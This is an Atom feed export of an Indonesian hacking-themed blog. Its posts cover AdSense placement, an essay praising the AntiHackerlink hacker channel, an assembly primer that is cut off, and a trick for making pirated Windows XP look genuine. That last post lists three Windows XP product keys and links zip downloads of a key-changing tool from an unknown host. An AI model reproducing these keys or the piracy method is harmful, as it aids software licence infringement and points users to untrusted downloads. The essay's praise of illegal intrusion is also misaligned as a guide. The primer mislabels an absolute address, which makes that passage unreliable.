<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4447531817913136946</id><updated>2011-11-27T16:42:26.391-08:00</updated><category term='WACKER'/><category term='tcp/ip'/><category term='key'/><category term='jaringan'/><category term='WEBSERVER'/><category term='cookies'/><category term='unix'/><category term='serial number'/><category term='genuine'/><category term='WebFilter'/><category term='hack windows xp'/><category term='HACKER'/><category term='virus'/><category term='HOTMAIL'/><category term='windows'/><category term='SCAN'/><category term='dos'/><category term='firewall'/><category term='Belajar Adsense'/><category term='assembly'/><category term='xp'/><category term='EXPLOIT'/><title type='text'>BELAJAR HACKING</title><subtitle type='html'>Sekedar iseng mau bagi ilmu tentang belajar hacking, hacking friendster, hacking hotmail, hacking windows, hacking linux, hacking unix, INSTANT SHELL UNIX, patch bug, firewall, security, tcp/ip, cracking, hacker, cracker, dan lain-lain.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>21</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-4234412427404530178</id><published>2010-09-06T20:30:00.001-07:00</published><updated>2010-09-06T20:33:48.500-07:00</updated><title type='text'></title><content type='html'>&lt;span class="fullpost"&gt;&lt;iframe src="http://google.co.id/" scrolling="no" width="375" align="left" frameborder="0" height="300"&gt; &lt;/iframe&gt;  &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-4234412427404530178?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/4234412427404530178/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2010/09/blog-post.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4234412427404530178'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4234412427404530178'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2010/09/blog-post.html' title=''/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-4456077880892875314</id><published>2009-05-18T10:10:00.000-07:00</published><updated>2009-05-18T10:12:19.911-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Belajar Adsense'/><title type='text'>meletakkan adsense di atas postingan</title><content type='html'>banyak cara yg beredar tentang cara meletakkan adsense di atas postingan.&lt;br /&gt;namun saya sarankan untuk tidak merubah sedikitpun kode ads yg ada, apalagi jika menghapus salah satu kode ads nya,,disini saya akan menjelaskan bagaimana cara agar adsense kita berada di atas postingan.&lt;br /&gt;logikanya kode adsense kita letakkan di teplate sehingga setiap awal postingan kamu akan nongol adsense.&lt;br /&gt;untuk itu kita perlu menparse kode adsense kita.&lt;br /&gt;klo kamu g ngrti parse g usah pusing,,ada tool online yg menyediakan jasa ini. :$&lt;br /&gt;silahkan minta tulung di sini http://www.blogcrowds.com/resources/parse_html.php&lt;br /&gt;secara umum kode adsense kita akan seperti ini..&lt;br /&gt;&lt;br /&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;lt;!--&lt;br /&gt;google_ad_client = &amp;quot;pub-xxxxxxxxxxx&amp;quot;;&lt;br /&gt;google_ad_slot = &amp;quot;0976076963&amp;quot;;&lt;br /&gt;google_ad_width = 468;&lt;br /&gt;google_ad_height = 60;&lt;br /&gt;//--&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;script&lt;br /&gt;src=&amp;quot;http://pagead2.googlesyndication.com/pagead/show_ads.js&amp;quot; type=&amp;quot;text/javascript&amp;quot;&amp;gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;setelah itu anda login ke blogger,&lt;br /&gt;layout&gt;&gt;&lt;br /&gt;edit html&gt;&gt;&lt;br /&gt;expand widget&gt;&gt;&lt;br /&gt;nah kemudian untuk memposisikan di atas postingan kamu harus mencari kode ini&lt;br /&gt;&lt;div class="'post-header-line-1'/"&gt;&lt;br /&gt;setelah itu copas kode yg sudah di parse tadi tepat di bawah kode ini..&lt;div class="'post-header-line-1'/"&gt;&lt;br /&gt;&lt;br /&gt;nah kemudian save..&lt;br /&gt;lihat hasilnya,,&lt;br /&gt;tweng tweng.. muncul khan??&lt;br /&gt;hampir mirip dengan postingan sebelumnya meletakkan adsense di akhir postingan..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-4456077880892875314?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/4456077880892875314/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/05/meletakkan-adsense-di-atas-postingan.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4456077880892875314'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4456077880892875314'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/05/meletakkan-adsense-di-atas-postingan.html' title='meletakkan adsense di atas postingan'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-4310252423853956298</id><published>2009-05-05T05:19:00.000-07:00</published><updated>2009-05-05T05:25:42.181-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='hack windows xp'/><category scheme='http://www.blogger.com/atom/ns#' term='serial number'/><category scheme='http://www.blogger.com/atom/ns#' term='key'/><category scheme='http://www.blogger.com/atom/ns#' term='genuine'/><category scheme='http://www.blogger.com/atom/ns#' term='xp'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Trik Merubah Windows XP menjadi GENUINE (Asli)</title><content type='html'>Mungkin kebanyakan pemakai windows XP di Indonesia menggunakan windows XP bajakan. Tapi&lt;br /&gt;bukan berarti windows XP bajakan itu bukan asli (GENUINE). Yang membedakan asli atau tidaknya&lt;br /&gt;windows XP ternyata terletak pada serial number yang digunakan ketika proses menginstall windows&lt;br /&gt;XP.&lt;br /&gt;Untuk mentes apakah windows XP kita asli, coba gunakan tool “Microsoft Genuine Advantage&lt;br /&gt;Diagnostic Tool”, yang dapat mendetaksi keaslian windows XP anda, contohnya gua peke windows&lt;br /&gt;bajakan tapi menggunakan serial number yang genuine so, tool “Microsoft Genuine Advantage&lt;br /&gt;Diagnostic Tool” bilang kalo windows xp yang gua pake itu Asli, ini buktinya :&lt;br /&gt;Download Tool Genuine disini :&lt;br /&gt;&lt;br /&gt;http://unrated.110mb.com/Tool.zip&lt;br /&gt;&lt;br /&gt;Kalo ternyata windows XP yang kita gunakan bukan genuine, so gak perlu kawatir. Gua dah dapet 3&lt;br /&gt;serial number windows Xp yang udah terbuakti genuine :&lt;br /&gt;&lt;br /&gt;V2C47-MK7JD-3R89F-D2KXW-VPK3J&lt;br /&gt;H689T-BFM2F-R6GF8-9WPYM-B6378&lt;br /&gt;WCBG6-48773-B4BYX-73KJP-KM3K3&lt;br /&gt;&lt;br /&gt;Tapi masalahnya kalo kita males nginstall ulang windows, gunain aja Aplikasi Keyfinder buatan Jelly&lt;br /&gt;Bean yang bisa buat merubah serial number windows Xp, so gak perlu cape- cape nginstall ulang.&lt;br /&gt;Download Keyfinder disini :&lt;br /&gt;&lt;br /&gt;http://unrated.110mb.com/keyfinder.zip&lt;br /&gt;&lt;br /&gt;SELAMAT BEREXPERIMEN KALO DAH BERHASIL JANGAN LUPA KLIK IKLAN ADSENSEKU YAH DI BAGIAN ATAS BLOGKU INI....HEHHEEE&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-4310252423853956298?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/4310252423853956298/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/05/trik-merubah-windows-xp-menjadi-genuine.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4310252423853956298'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/4310252423853956298'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/05/trik-merubah-windows-xp-menjadi-genuine.html' title='Trik Merubah Windows XP menjadi GENUINE (Asli)'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-3199995598787302657</id><published>2009-04-29T05:01:00.000-07:00</published><updated>2009-04-29T05:02:43.717-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HACKER'/><title type='text'>Apa dan Mengapa AntiHackerlink makin berkembang</title><content type='html'>1. Semakin banyaknya pengguna Internet di Indonesia baik dalam bentuk warnet ataupun             pengguna Internet rumahan yang membuat para orang Indonesia semakin bersemangat dalam mengenal lebih jauh dunia cyber.&lt;br /&gt;&lt;br /&gt;2. Semakin banyaknya orang Indonesia yang sudah mulai menilai pelayanan Internet seperti email umum, chat yang umum (seperti hanya cari teman), ataupun hanya sekedar surfing biasa. Membuat mereka hanya menghabiskan "kocek" mereka dan rata - rata orang yang sudah merasakan seperti ini (seperti saya) akan beralih ke sesuatu yang lebih berguna dan yang mereka awam seperti dunia menghack salah satunya. Orang seperti ini akan mengalihkan perhatian mereka dalam dunia Mailinglis (Diskusi Internet) yang otomatis mereka akan mendapatkan ilmu yang mereka ingini.&lt;br /&gt;&lt;br /&gt;3. Banyaknya media - media yang memberitahukan kabar tentang "core of Indonesian hackers" AntiHackerlink, seperti detik.com, dan juga beberapa majalah komputer Indonesia maupun tabloid komputer Indonesia, baik dalam pemberitaan keburukan mereka maupun kebaikan mereka (tetapi kebanyakan keburukan mereka), yang membuat orang awam segera ingin mencoba. Dan juga pengaruh film di televisi seperti The Net dan juga da film yang menceriterakan perang antara Kevin Mitnick dengan Tsutomu Shimomura (maaf saya lupa judul filmnya) yang diangkat dari kisah nyata kisah perang cyber terhebat pada zaman ini.&lt;br /&gt;&lt;br /&gt;4. Banyaknya orang - orang yang ingin unjuk gigi keahlian mereka dalam menghack, semakin banyak orang yang seperti ini semakin besar dan harum nama AntiHackerlink karena rata - rata untuk menghack mereka akan join channel AntiHackerlink.&lt;br /&gt;&lt;br /&gt;5. Tertangkapnya hC- (hantu Crew-) di Singapura dan juga berita pemberitaan mundurnya hC- dalam dunia menghack Indonesia yang membuat orang bertanya apa dan mengapa ini bisa terjadi dalam kegiatan AntiHackerlink.&lt;br /&gt;&lt;br /&gt;6. Semakin banyaknya site yang sudah terhack oleh "Core of Indonesian hackers" AntiHackerlink seperti dari kecil dan juga yang besar yang membuat nama mereka masuk dalam searcengine seperti yahoo.com, anda tinggal mengetikkan AntiHackerlink maka anda akan mendapatkan banyak berita seperti hC- pendiri AntiHackerlink hingga terbobolnya ITB oleh hC- yang identik dengan AntiHackerlink.&lt;br /&gt;&lt;br /&gt;7. Semakin banyaknya orang Indonesia yang ingin disebut dalam jajaran hacker.&lt;br /&gt;&lt;br /&gt;8. Belum adanya Cyber Law di Indonesia untuk melarang kegiatan seperti ini yang katanya merupakan suatu kejahatan seperti di negara lain yang mempunya Cyber Law.&lt;br /&gt;&lt;br /&gt;9. Pengaruh keadaan Indonesia yang membuat banyak orang banyak ingin beralih ke bidang yang masih asing.&lt;br /&gt;&lt;br /&gt;   AntiHackerlink memang suatu channel yang unik dalam perkembangan dunia Internet Indonesia memang bukan suatu tolok ukur jika kemajuan dunia TI suatu negara bukan dari banyaknya hacker di negaranya, namun memang bukan berarti penilaian seperti ini selalu benar, karena saya pikir semakin banyaknya hacker adalah salah satu imbas dari kemajuan TI di negara tersebut. Kalau menurut saya kita patut berterima kasih kepada anak - anak AntiHackerlink dan juga channel hacker Indonesia yang lainnya, karena kepada merekalah Indonesia yang sedang terbaring mulai dibangkitkan dalam dunia maya walaupun banyak orang yang menilai jika tindakan seperti mereka adalah kriminal, tetapi saya juga tidak bisa menyalahkan kepada yang memberi tanggapan seperti itu, tetapi saya sarankan, anda membaca kutipan manifesto The Mentor.&lt;br /&gt;&lt;br /&gt;"This is our world now...the world of the electron and the switch, the beauty of the baud. We make use of a service already existing without paying for what could be dirt cheep if it is wasn't run by rofiteering gluttons, and you calls us criminals. We explore...and you call us criminals. We exist without skin color, without nationality, without religious bias...and you call us criminals. You build atomic bombs, wage wars, murder, cheat, and lie to us and try to make us believe it is for our own good, yet we're the criminals.&lt;br /&gt;&lt;br /&gt;Yes, I am a criminal. My crime is that of curiosity. My crime is that of judging people by what they look lie. My crime is that of out smarting you, something that you will never forgive me for. I am a hacker and this is my manifesto. You may stop this individual, but you can't stop us all...after all, we're all alike"&lt;br /&gt;&lt;br /&gt;(Dari "The Conscience of a hacker", Phrack vol. 1, edisi 7, file 3)&lt;br /&gt;&lt;br /&gt;   Menjadi seorang hacker bukanlah merupakan sesuatu yang jahat, namun bukan sesuatu yang baik pula. Menjadi hacker bukanlah merupakan suatu hal yang salah namun bukan sesuatu yang benar juga. Hacker hanyalah sebuah nama yang mempunyai pembagian banyak aliran yang membuat nama hacker (dalam hal ini penulis menyebutkan "hacker" adalah hacker yang sejati) semakin terpuruk dalam pencapan sebagai kriminalis jaringan dengan lahirnya "Cracker" (hacker aliran hitam), "Cyber Punk", "Samurai" (hacker bayaran), "Phreaker", "Newbie" adalah nama - nama yang semakin menenggelamkan nama "Hacker Sejati", saya sendiri juga belum cukup mempunyai informasi apakah AntiHackerlink termsuk dalam golongan yang mana, apakah AntiHackerlink juga terdiri dari semua golongan hacker. Namun yang saya tanggapi untuk saat ini di Indonesia hacker adalah seorang pahlawan yang belum mempunyai medan perang yang asli untuk bertempur, dan untuk saat ini menurut saya hacker adalah permata bangsa kita yang masih berharga untuk beberapa tahun mendatang.&lt;br /&gt;&lt;br /&gt;   AntiHackerlink sebagai salah satu channel besar akan kegiatan menghack di Indonesia ingin membuka kepada mata dunia umumnya dan mata bangsa Indonesia khususnya agar mereka (pemerintah) bisa melihat mana yang disebut kerjasama yang dianggap benar dalam menyelesaikan suatu masalah, (mohon maaf bila salah ucap, tapi tolonglah hargai keberadaan hacker khususnya AntiHackerlink) yang membuat jarak bukan menjadi masalah dan SARA bukan suatu problema dalam menyelesaikan suatu masalah.&lt;br /&gt;&lt;br /&gt;   AntiHackerlink juga merupakan protes dari pengagum TI bahwa mereka mencoba berteriak minta tolong kepada pemerintah untuk menghargai science dan untuk mengutamakan pendidikan dalam membangun bangsa Indonesia karena saya beranggapan suatu negara maju jika negara itu percaya Tuhan dan memajukan pendidikannya. Terima Kasih kepada seluruh personel AntiHackerlink yang membuat saya akan terus menyebarkan informasi kepada seluruh netter di Indonesia....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4447531817913136946-3199995598787302657?l=andri-haryono77.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://andri-haryono77.blogspot.com/feeds/3199995598787302657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/apa-dan-mengapa-antihackerlink-makin.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3199995598787302657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4447531817913136946/posts/default/3199995598787302657'/><link rel='alternate' type='text/html' href='http://andri-haryono77.blogspot.com/2009/04/apa-dan-mengapa-antihackerlink-makin.html' title='Apa dan Mengapa AntiHackerlink makin berkembang'/><author><name>NUNO BAND</name><uri>http://www.blogger.com/profile/03302758401735982831</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://4.bp.blogspot.com/_7PRzrJbrOOo/TNDZP31mNFI/AAAAAAAAASo/pgzW8nZcnWc/S220/J0341653.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4447531817913136946.post-5233816164564312563</id><published>2009-04-29T03:41:00.000-07:00</published><updated>2009-04-29T03:42:17.611-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='assembly'/><title type='text'>Pengenalan Assembly</title><content type='html'>1. Apakah Sebenarnya Bahasa Assembly itu? &lt;br /&gt;&lt;br /&gt;------------------------------------------- &lt;br /&gt;&lt;br /&gt;Bahasa Assembly (Assembler) adalah merupakan salah satu dari sekian banyak bahasa pemrograman yang tergolong dalam Bahasa Pemrogaman Tingkat Rendah (Low Level Language) dan hanya setingkat diatas bahasa mesin (Machine Language). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Mengapa Assembly? &lt;br /&gt;&lt;br /&gt;---------------------- &lt;br /&gt;&lt;br /&gt;Assembly memiliki kelebihan yang tidak dapat digantikan oleh bahasa pemrogaman manapun. Diantaranya adalah : &lt;br /&gt;&lt;br /&gt;- Hasil program memiliki tingkat kecepatan yang tinggi. &lt;br /&gt;&lt;br /&gt;- Ukuran dari program kecil. &lt;br /&gt;&lt;br /&gt;- Sangat mudah untuk mengakses Sistem Komputer. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. Apakah Segment dan Offset itu? &lt;br /&gt;&lt;br /&gt;----------------------------------- &lt;br /&gt;&lt;br /&gt;Segment dan Offset merupakan suatu angka 16 bit (direpresntasikan dalam bilangan hexa) yang menunjukkan suatu alamat tertentu di memory komputer. Pasangan segment : offset ini disebut juga alamat relatif. Selain alamat relatif, terdapat juga alamat mutlak berupa angka 20 bit (juga direpresentasikan dalam bilangan hexa). Alamat mutlak ini dapat dihitung dengan mengalikan segment dengan 10 hexa dan ditambahkan dengan offset. &lt;br /&gt;&lt;br /&gt;Contoh : segment : offset &lt;br /&gt;&lt;br /&gt;0100 : 1234 &lt;br /&gt;&lt;br /&gt;Alamat relatifnya adalah : 02234 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Apakah Interrupt itu? &lt;br /&gt;&lt;br /&gt;-------------------------- &lt;br /&gt;&lt;br /&gt;Interrupt adalah permintaan kepada microprocessor untuk melakukan suatu perintah. Ketika terjadi permintaan interupsi, microprocessor akan mengeksekusi interrupt handler , yaitu suatu program yang melayani interupsi. Setitap interrupt handler itu memiliki alamat masing - masing yang disimpan dalam bentuk array yang masing - masing terdiri dari 4 byte (2 offset dan 2 segment). Array ini disebut vektor interupsi . Vektor interupsi ini disusun berdasarkan nomor interupsi yaitu dari hexa. Selain itu, dikenal juga istilah service dan subservice, maksudnya adalah bahwa setiap interrupt itu dibagi menjadi beberapa bagian yang mempunyai tugas masing - masing. Tetapi ada juga interrupt yang tidak memiliki service, contohnya int 29. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. Apakah Register itu? &lt;br /&gt;&lt;br /&gt;------------------------- &lt;br /&gt;&lt;br /&gt;Register adalah merupakan sebagian memory dari microprocessor yang neniliki kecepatan sangat tinggi. Dapat juga dianalogikan bahwa register merupakan kaki tangan dari microprocessor. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Register dibagi menjadi lima bagian besar yaitu : &lt;br /&gt;&lt;br /&gt;1. Segment Register (16 bit) &lt;br /&gt;&lt;br /&gt;Register untuk menunjukkan alamat dari suatu segment. Yang termasuk register segment : &lt;br /&gt;&lt;br /&gt;. CS (Code Segment) &lt;br /&gt;&lt;br /&gt;Menunjukkan alamat segment dari program yang sedang aktif. &lt;br /&gt;&lt;br /&gt;. DS (Data Segment) &lt;br /&gt;&lt;br /&gt;Menunjukkan alamat segment dari data program (variabel). &lt;br /&gt;&lt;br /&gt;. SS (Stack Segment) &lt;br /&gt;&lt;br /&gt;Menunjukkan alamat segment dari stack yang digunakan program. &lt;br /&gt;&lt;br /&gt;. ES (Extra Segment) &lt;br /&gt;&lt;br /&gt;Merupakan register segment cadangan. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Pointer dan Index Register (16 bit) Register untuk menunjukkan alamat dari suatu offset. &lt;br /&gt;&lt;br /&gt;Yang termasuk register pointer dan index : &lt;br /&gt;&lt;br /&gt;. SP (Stack Pointer) &lt;br /&gt;&lt;br /&gt;Berpasangan dengan SS (SS : SP). &lt;br /&gt;&lt;br /&gt;. BP (Base Pointer) &lt;br /&gt;&lt;br /&gt;Berpasangan dengan SS (SS : BP). &lt;br /&gt;&lt;br /&gt;. DI (Destination Index) &lt;br /&gt;&lt;br /&gt;Berpasangan dengan ES (ES : DI). Dipakai untuk operasi string. &lt;br /&gt;&lt;br /&gt;. SI (Source Index) &lt;br /&gt;&lt;br /&gt;Berpasangna dengan DS (DS : SI). Dipakai untuk operasi string. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. General Purpose Register (16 bit) &lt;br /&gt;&lt;br /&gt;Register ini dapat digunakan untuk berbagai keperluan, tetapi masing - masing juga memiliki fungsi khusus. Jenis register ini memiliki ciri khas, yaitu dapat dibagi lagi menjadi register 8 bit, register tinggi/high, dan register rendah/low. &lt;br /&gt;&lt;br /&gt;Yang termasuk register general purpose : &lt;br /&gt;&lt;br /&gt;. AX --&gt; AH|AL (Accumulator) &lt;br /&gt;&lt;br /&gt;Untuk menangani operasi arithmatika. &lt;br /&gt;&lt;br /&gt;. BX --&gt; BH|BL (Base) &lt;br /&gt;&lt;br /&gt;Untuk menunjukkan alamat offset. &lt;br /&gt;&lt;br /&gt;. CX --&gt; CH|CL (Counter) &lt;br /&gt;&lt;br /&gt;Untuk looping, menunjukkan berapa kali looping terjadi. &lt;br /&gt;&lt;br /&gt;. DX --&gt; DH|DL (Data) &lt;br /&gt;&lt;br /&gt;Untuk menampung sisa pembagian bilangan 16 bit. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Index Pointer Register (16 bit) &lt;br /&gt;&lt;br /&gt;Hanya terdiri dari 1 register yaitu IP yang berpasangan dengan reguster CS (CS : IP) untuk menunjukkan alamat instruksi selanjutnya yang akan dieksekusi. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;0125. Flags Register (1 bit) &lt;br /&gt;&lt;br /&gt;Register ini berfungsi untuk menunjukkan suatu kondisi (ya atau tidak). &lt;br /&gt;&lt;br /&gt;Register ini hanya bernilai 0 dan 1. &lt;br /&gt;&lt;br /&gt;Yang termasuk register flags : &lt;br /&gt;&lt;br /&gt;. OF (Overflow Flag) 1 jika terjadi overflow &lt;br /&gt;&lt;br /&gt;. SF (Sign Flag) 1 jika digunakan bilangan bertanda &lt;br /&gt;&lt;br /&gt;. ZF (Zero Flag) 1 jika hasil operasi bernilai 0 &lt;br /&gt;&lt;br /&gt;. CF (Carry Flag) 1 jika operasi menghasilkan carry &lt;br /&gt;&lt;br /&gt;. PF (Parity Flag) 1 jika hasil operasi bilangan genap &lt;br /&gt;&lt;br /&gt;. DF (Direction Flag) 1 jika alur proses alur proses menurun pada string &lt;br /&gt;&lt;br /&gt;. IF (Interrupt Flag) 1 jika proses dapat diinterupsi &lt;br /&gt;&lt;br /&gt;. TF (Trap Flag) 1 jika dapat ditrace / debug &lt;br /&gt;&lt;br /&gt;. AF (Auxiliary Flag) digunakan pada operasi bilangan BCD &lt;br /&gt;&lt;br /&gt;. NT (Nested Task) digunakan untuk menangani interupsi beruntun &lt;br /&gt;&lt;br /&gt;. IOPL (I/O Protection Level) digunakan untuk mode proteksi (2 bit) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6. Bagaimana memulai Assembly? &lt;br /&gt;&lt;br /&gt;--------------------------------- &lt;br /&gt;&lt;br /&gt;Bahasa assembly tidak seperti bahasa tingkat tinggi (High Level Language) yang biasanya memiliki IDE - Integrated Development Environment, bahasa assembly dapat diketikkan dalam berbagai macam editor teks, misalnya BC, TC, TURBO, NOTEPAD, EDIT, dan editor teks lainnya. Yang perlu diingat bahwa ekstensi dari program assembly haruslah .ASM. Setelah program assembly diketikkan dan disimpan dengan ekstensi .ASM, maka program tersebut harus dikompilasi menjadi Object File berekstensi .OBJ, dan kemudian harus dilink menjadi executable file (.EXE/.COM), executable file inilah yang baru dapat dijalankan. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Untuk mengcompile : C:\TASM &lt;br /&gt;&lt;br /&gt;Untuk melink : C:\LINK &lt;br /&gt;&lt;br /&gt;C:\Option /t untuk melink file ke .COM &lt;br /&gt;&lt;br /&gt;C:\Untuk melink menjadi .EXE, hilangkan option /t ini. &lt;br /&gt;&lt;br /&gt;atau pake cara langsung : &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Apakah Perbedaan .COM dan .EXE? &lt;br /&gt;&lt;br /&gt;------------------------------------ &lt;br /&gt;&lt;br /&gt;Perbedaan program .COM dan .EXE adalah : &lt;br /&gt;&lt;br /&gt;Program .COM Program .EXE &lt;br /&gt;&lt;br /&gt;- Hanya menggunakan 1 segment untuk º - Menggunakan banyak segment. &lt;br /&gt;&lt;br /&gt;- code, data, dan stack. º &lt;br /&gt;&lt;br /&gt;- Ukuran program relatif kecil º - Ukuran program relatif besar &lt;br /&gt;&lt;br /&gt;- Hasil program lebih cepat º - Hasil program lebih lambat &lt;br /&gt;&lt;br /&gt;- Hanya dapat menangani program kecil º - Dapat menangani program yang besar(&lt;=64 KByte). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Bagaimana Struktur Program .COM? &lt;br /&gt;&lt;br /&gt;------------------------------------- &lt;br /&gt;&lt;br /&gt;Untuk .COM dan .EXE memiliki struktur program yang berbeda, untuk kesempatan ini hanya akan dibahas struktur program .COM. &lt;br /&gt;&lt;br /&gt;Berikut ini struktur program .COM (tanda ; adalah untuk komentar) : &lt;br /&gt;&lt;br /&gt;nama_segment segment ; nama_segment diisi terserah anda &lt;br /&gt;&lt;br /&gt;; Baris ini untuk memberikan nama sebuah segment &lt;br /&gt;&lt;br /&gt;assume cs : nama_segment ; Menunjukkan CS ke segment yang sudah kita beri nama &lt;br /&gt;&lt;br /&gt;org 100h ; Untuk PSP - Program Segment Prefix &lt;br /&gt;&lt;br /&gt;; PSP ini digunakan untuk berhubungan dengan DOS &lt;br /&gt;&lt;br /&gt;label_pertama : ; Di Assembly, minimal harus ada satu label, &lt;br /&gt;&lt;br /&gt;; penamaan label terserah anda &lt;br /&gt;&lt;br /&gt;mov ah,04ch ; service &lt;br /&gt;&lt;br /&gt;int 21h ; int 21h service 04ch merupakan instruksi untuk &lt;br /&gt;&lt;br /&gt;; keluar dari program &lt;br /&gt;&lt;br /&gt;nama_segment ends ; Akhir dari sebuah segment &lt;br /&gt;&lt;br /&gt;end label_pertama ; Label yang paling pertama harus ditutup dengan perintah ini &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Bagaimana Variabel dalam Assembly? &lt;br /&gt;&lt;br /&gt;-------------------------------------- &lt;br /&gt;&lt;br /&gt;Dalam assembly dikenal beberapa jenis data, yaitu : &lt;br /&gt;&lt;br /&gt;- db (define byte) --&gt; Besarnya 1 byte (0h - FFh) &lt;br 